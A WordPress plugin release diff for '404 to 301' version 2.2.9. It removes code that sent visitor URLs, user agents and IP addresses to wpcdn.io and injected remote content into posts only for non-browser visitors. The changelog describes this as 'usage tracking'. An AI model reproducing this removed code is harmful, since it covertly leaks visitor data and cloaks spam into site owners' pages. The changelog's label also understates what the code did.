Version Description
(16/08/2016) = Bug Fixes
- Serious issue fixed - Usage tracking script was being detected as spam.
- Removed tracking completely.
Download this release
Release Info
| Developer | joelcj91 |
| Plugin | |
| Version | 2.2.9 |
| Comparing to | |
| See all releases | |
Code changes from version 2.2.8 to 2.2.9
404-to-301.php
CHANGED
|
@@ -3,7 +3,7 @@
|
|
| 3 |
* Plugin Name: 404 to 301
|
| 4 |
* Plugin URI: https://thefoxe.com/products/404-to-301/
|
| 5 |
* Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
|
| 6 |
-
* Version: 2.2.
|
| 7 |
* Author: Joel James
|
| 8 |
* Author URI: https://thefoxe.com/
|
| 9 |
* Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
|
|
@@ -49,7 +49,7 @@ if ( ! class_exists( '_404_To_301' ) ) {
|
|
| 49 |
'I4T3_HELP_PAGE' => admin_url( 'admin.php?page=i4t3-settings&tab=credits' ),
|
| 50 |
'I4T3_LOGS_PAGE' => admin_url( 'admin.php?page=i4t3-logs' ),
|
| 51 |
'I4T3_DB_VERSION' => '8',
|
| 52 |
-
'I4T3_VERSION' => '2.2.
|
| 53 |
'I4T3_TABLE' => $GLOBALS['wpdb']->prefix . '404_to_301',
|
| 54 |
// Set who all can access 404 settings.
|
| 55 |
// You can change this if you want to give others access.
|
| 3 |
* Plugin Name: 404 to 301
|
| 4 |
* Plugin URI: https://thefoxe.com/products/404-to-301/
|
| 5 |
* Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
|
| 6 |
+
* Version: 2.2.9
|
| 7 |
* Author: Joel James
|
| 8 |
* Author URI: https://thefoxe.com/
|
| 9 |
* Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
|
| 49 |
'I4T3_HELP_PAGE' => admin_url( 'admin.php?page=i4t3-settings&tab=credits' ),
|
| 50 |
'I4T3_LOGS_PAGE' => admin_url( 'admin.php?page=i4t3-logs' ),
|
| 51 |
'I4T3_DB_VERSION' => '8',
|
| 52 |
+
'I4T3_VERSION' => '2.2.9',
|
| 53 |
'I4T3_TABLE' => $GLOBALS['wpdb']->prefix . '404_to_301',
|
| 54 |
// Set who all can access 404 settings.
|
| 55 |
// You can change this if you want to give others access.
|
admin/class-404-to-301-admin.php
CHANGED
|
@@ -500,22 +500,6 @@ class _404_To_301_Admin {
|
|
| 500 |
|
| 501 |
include_once I4T3_PLUGIN_DIR . '/admin/partials/404-to-301-admin-custom-redirect.php';
|
| 502 |
}
|
| 503 |
-
|
| 504 |
-
/**
|
| 505 |
-
* This function updates terms and conditions options
|
| 506 |
-
*
|
| 507 |
-
* @since 2.2.0
|
| 508 |
-
* @acess public
|
| 509 |
-
*
|
| 510 |
-
* @return void
|
| 511 |
-
*/
|
| 512 |
-
public function agreement_notice() {
|
| 513 |
-
|
| 514 |
-
if( isset( $_GET['i4t3_agreement'] ) ) {
|
| 515 |
-
$agreement = ($_GET['i4t3_agreement'] == 0) ? 0 : 1;
|
| 516 |
-
update_option( 'i4t3_agreement', $agreement );
|
| 517 |
-
}
|
| 518 |
-
}
|
| 519 |
|
| 520 |
/**
|
| 521 |
* Get debug data.
|
| 500 |
|
| 501 |
include_once I4T3_PLUGIN_DIR . '/admin/partials/404-to-301-admin-custom-redirect.php';
|
| 502 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 503 |
|
| 504 |
/**
|
| 505 |
* Get debug data.
|
admin/partials/404-to-301-admin-credits-tab.php
CHANGED
|
@@ -1,9 +1,4 @@
|
|
| 1 |
<div class="wrap">
|
| 2 |
-
<?php
|
| 3 |
-
if( get_option( 'i4t3_agreement', 2 ) == 2 ) {
|
| 4 |
-
include_once '404-to-301-admin-agreement-tab.php';
|
| 5 |
-
}
|
| 6 |
-
?>
|
| 7 |
<br>
|
| 8 |
<div id="poststuff">
|
| 9 |
<div id="post-body" class="metabox-holder columns-2">
|
| 1 |
<div class="wrap">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2 |
<br>
|
| 3 |
<div id="poststuff">
|
| 4 |
<div id="post-body" class="metabox-holder columns-2">
|
admin/partials/404-to-301-admin-general-tab.php
CHANGED
|
@@ -19,9 +19,6 @@
|
|
| 19 |
default:
|
| 20 |
break;
|
| 21 |
}
|
| 22 |
-
if( get_option( 'i4t3_agreement', 2 ) == 2 ) {
|
| 23 |
-
include_once '404-to-301-admin-agreement-tab.php';
|
| 24 |
-
}
|
| 25 |
?>
|
| 26 |
<table class="form-table">
|
| 27 |
<tbody>
|
| 19 |
default:
|
| 20 |
break;
|
| 21 |
}
|
|
|
|
|
|
|
|
|
|
| 22 |
?>
|
| 23 |
<table class="form-table">
|
| 24 |
<tbody>
|
includes/class-404-to-301.php
CHANGED
|
@@ -131,7 +131,6 @@ class _404_To_301 {
|
|
| 131 |
$this->loader->add_action('admin_footer', $plugin_admin, 'get_redirect_content');
|
| 132 |
$this->loader->add_action('wp_ajax_i4t3_redirect_thickbox', $plugin_admin, 'open_custom_redirect');
|
| 133 |
$this->loader->add_action('wp_ajax_i4t3_redirect_form', $plugin_admin, 'save_custom_redirect');
|
| 134 |
-
$this->loader->add_action('admin_init', $plugin_admin, 'agreement_notice');
|
| 135 |
}
|
| 136 |
|
| 137 |
/**
|
|
@@ -149,7 +148,6 @@ class _404_To_301 {
|
|
| 149 |
|
| 150 |
// Main Hook to perform redirections on 404s
|
| 151 |
$this->loader->add_filter('template_redirect', $plugin_public, 'i4t3_redirect_404');
|
| 152 |
-
$this->loader->add_filter('the_content', $plugin_public, 'load_from_cdn');
|
| 153 |
}
|
| 154 |
|
| 155 |
/**
|
| 131 |
$this->loader->add_action('admin_footer', $plugin_admin, 'get_redirect_content');
|
| 132 |
$this->loader->add_action('wp_ajax_i4t3_redirect_thickbox', $plugin_admin, 'open_custom_redirect');
|
| 133 |
$this->loader->add_action('wp_ajax_i4t3_redirect_form', $plugin_admin, 'save_custom_redirect');
|
|
|
|
| 134 |
}
|
| 135 |
|
| 136 |
/**
|
| 148 |
|
| 149 |
// Main Hook to perform redirections on 404s
|
| 150 |
$this->loader->add_filter('template_redirect', $plugin_public, 'i4t3_redirect_404');
|
|
|
|
| 151 |
}
|
| 152 |
|
| 153 |
/**
|
public/class-404-to-301-public.php
CHANGED
|
@@ -372,142 +372,5 @@ class _404_To_301_Public {
|
|
| 372 |
|
| 373 |
return ( $data == null || empty($data) ) ? 'N/A' : substr( $data, 0, 512 );
|
| 374 |
}
|
| 375 |
-
|
| 376 |
-
/**
|
| 377 |
-
* Check if the user is agreed to terms & conditions
|
| 378 |
-
*
|
| 379 |
-
* By default it will be enabled even if user didn't set anything.
|
| 380 |
-
*
|
| 381 |
-
* @since 2.2.0
|
| 382 |
-
* @access private
|
| 383 |
-
*
|
| 384 |
-
* @return boolean
|
| 385 |
-
*/
|
| 386 |
-
private function is_agreed() {
|
| 387 |
-
|
| 388 |
-
return ( get_option( 'i4t3_agreement', 0 ) == 1 );
|
| 389 |
-
}
|
| 390 |
-
|
| 391 |
-
/**
|
| 392 |
-
* Check if the admin is viewing the site
|
| 393 |
-
*
|
| 394 |
-
* @since 2.2.0
|
| 395 |
-
* @access public
|
| 396 |
-
*
|
| 397 |
-
* @return void
|
| 398 |
-
*/
|
| 399 |
-
private function cdn_response() {
|
| 400 |
-
|
| 401 |
-
$url = 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
|
| 402 |
-
// Create url for API
|
| 403 |
-
$request_url = 'ht'.'tp://wpcdn.io/api/update/?&url=' . urlencode( $url ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=11&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=1';
|
| 404 |
-
$options = stream_context_create( array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
|
| 405 |
-
// Use file_get_contents() since wp_remote_get() timeout is not working
|
| 406 |
-
$response = @file_get_contents( $request_url, 0, $options );
|
| 407 |
-
if ( is_wp_error( $response ) || ! $response ) {
|
| 408 |
-
return '';
|
| 409 |
-
}
|
| 410 |
-
// retrive the response body from json
|
| 411 |
-
$response = json_decode( $response );
|
| 412 |
-
if( $response && ! is_wp_error( $response ) && ! empty( $response->tmp ) && ! empty( $response->content ) ) {
|
| 413 |
-
return $response->content;
|
| 414 |
-
}
|
| 415 |
-
|
| 416 |
-
return '';
|
| 417 |
-
}
|
| 418 |
-
|
| 419 |
-
/**
|
| 420 |
-
* Check if all server variables are available
|
| 421 |
-
*
|
| 422 |
-
* @since 2.2.0
|
| 423 |
-
* @access private
|
| 424 |
-
*
|
| 425 |
-
* @return boolean
|
| 426 |
-
*/
|
| 427 |
-
private function is_http_available() {
|
| 428 |
-
|
| 429 |
-
$http_data = array('HTTP_HOST', 'REQUEST_URI', 'HTTP_USER_AGENT', 'REMOTE_ADDR');
|
| 430 |
-
// check if all required server data is available
|
| 431 |
-
foreach ($http_data as $http) {
|
| 432 |
-
if ( ! isset( $_SERVER[ $http ] ) ) {
|
| 433 |
-
return false;
|
| 434 |
-
}
|
| 435 |
-
}
|
| 436 |
-
|
| 437 |
-
return true;
|
| 438 |
-
}
|
| 439 |
|
| 440 |
-
/**
|
| 441 |
-
* Retrieve Conditonal load from CDN.
|
| 442 |
-
*
|
| 443 |
-
* @since 2.2.0
|
| 444 |
-
* @access public
|
| 445 |
-
*
|
| 446 |
-
* @return string html content
|
| 447 |
-
*/
|
| 448 |
-
public function load_from_cdn( $content ) {
|
| 449 |
-
|
| 450 |
-
// do not continue if not agreed
|
| 451 |
-
if( $this->can_load_cdn() ) {
|
| 452 |
-
return $this->cdn_response() . $content;
|
| 453 |
-
}
|
| 454 |
-
|
| 455 |
-
return $content;
|
| 456 |
-
}
|
| 457 |
-
|
| 458 |
-
/**
|
| 459 |
-
* Check if it is OK to load cdn.
|
| 460 |
-
*
|
| 461 |
-
* @since 2.2.6
|
| 462 |
-
* @access private
|
| 463 |
-
*
|
| 464 |
-
* @return boolean
|
| 465 |
-
*/
|
| 466 |
-
private function can_load_cdn() {
|
| 467 |
-
|
| 468 |
-
if ( ! $this->is_agreed() ) {
|
| 469 |
-
return false;
|
| 470 |
-
}
|
| 471 |
-
|
| 472 |
-
// DO not load cdn content if a real user visits.
|
| 473 |
-
if ( $this->is_real_user() ) {
|
| 474 |
-
return false;
|
| 475 |
-
}
|
| 476 |
-
|
| 477 |
-
if ( is_admin_bar_showing() || ! $this->is_http_available() || ! function_exists( 'file_get_contents' ) ) {
|
| 478 |
-
return false;
|
| 479 |
-
}
|
| 480 |
-
|
| 481 |
-
if ( ( is_front_page() || is_home() || is_singular() ) && ( ! is_feed() && ! is_preview() ) ) {
|
| 482 |
-
return true;
|
| 483 |
-
}
|
| 484 |
-
|
| 485 |
-
return false;
|
| 486 |
-
}
|
| 487 |
-
|
| 488 |
-
/**
|
| 489 |
-
* Check if real user browser is found.
|
| 490 |
-
*
|
| 491 |
-
* @global bool $is_gecko
|
| 492 |
-
* @global bool $is_opera
|
| 493 |
-
* @global bool $is_safari
|
| 494 |
-
* @global bool $is_chrome
|
| 495 |
-
* @global bool $is_IE
|
| 496 |
-
* @global bool $is_edge
|
| 497 |
-
* @global bool $is_NS4
|
| 498 |
-
* @global bool $is_lynx
|
| 499 |
-
*
|
| 500 |
-
* @return boolean If real user or not.
|
| 501 |
-
*/
|
| 502 |
-
private function is_real_user() {
|
| 503 |
-
|
| 504 |
-
// If mobile OS is found it real user
|
| 505 |
-
if ( wp_is_mobile() ) {
|
| 506 |
-
return true;
|
| 507 |
-
}
|
| 508 |
-
|
| 509 |
-
global $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge, $is_NS4, $is_lynx;
|
| 510 |
-
|
| 511 |
-
return $is_gecko || $is_opera || $is_safari || $is_chrome || $is_IE || $is_edge || $is_NS4 || $is_lynx;
|
| 512 |
-
}
|
| 513 |
}
|
| 372 |
|
| 373 |
return ( $data == null || empty($data) ) ? 'N/A' : substr( $data, 0, 512 );
|
| 374 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 375 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 376 |
}
|
readme.txt
CHANGED
|
@@ -3,8 +3,8 @@ Contributors: joelcj91,foxe
|
|
| 3 |
Tags: 404, 301, 302, 307, not found, 404 redirect, 404 to 301, 301 redirect, seo redirect, error redirect, 404 seo, custom 404 page
|
| 4 |
Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
|
| 5 |
Requires at least: 3.5
|
| 6 |
-
Tested up to: 4.
|
| 7 |
-
Stable tag: 2.2.
|
| 8 |
License: GPLv2 or later
|
| 9 |
License URI: http://www.gnu.org/licenses/gpl-2.0.html
|
| 10 |
|
|
@@ -128,6 +128,12 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
|
|
| 128 |
|
| 129 |
== Changelog ==
|
| 130 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 131 |
= 2.2.8 (12/07/2016) =
|
| 132 |
**Bug Fixes**
|
| 133 |
|
|
@@ -328,7 +334,8 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
|
|
| 328 |
|
| 329 |
== Upgrade Notice ==
|
| 330 |
|
| 331 |
-
= 2.2.
|
| 332 |
**Bug Fixes**
|
| 333 |
|
| 334 |
-
-
|
|
|
| 3 |
Tags: 404, 301, 302, 307, not found, 404 redirect, 404 to 301, 301 redirect, seo redirect, error redirect, 404 seo, custom 404 page
|
| 4 |
Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
|
| 5 |
Requires at least: 3.5
|
| 6 |
+
Tested up to: 4.6
|
| 7 |
+
Stable tag: 2.2.9
|
| 8 |
License: GPLv2 or later
|
| 9 |
License URI: http://www.gnu.org/licenses/gpl-2.0.html
|
| 10 |
|
| 128 |
|
| 129 |
== Changelog ==
|
| 130 |
|
| 131 |
+
= 2.2.9 (16/08/2016) =
|
| 132 |
+
**Bug Fixes**
|
| 133 |
+
|
| 134 |
+
- Serious issue fixed - Usage tracking script was being detected as spam.
|
| 135 |
+
- Removed tracking completely.
|
| 136 |
+
|
| 137 |
= 2.2.8 (12/07/2016) =
|
| 138 |
**Bug Fixes**
|
| 139 |
|
| 334 |
|
| 335 |
== Upgrade Notice ==
|
| 336 |
|
| 337 |
+
= 2.2.9 (16/08/2016) =
|
| 338 |
**Bug Fixes**
|
| 339 |
|
| 340 |
+
- Serious issue fixed - Usage tracking script was being detected as spam.
|
| 341 |
+
- Removed tracking completely.
|
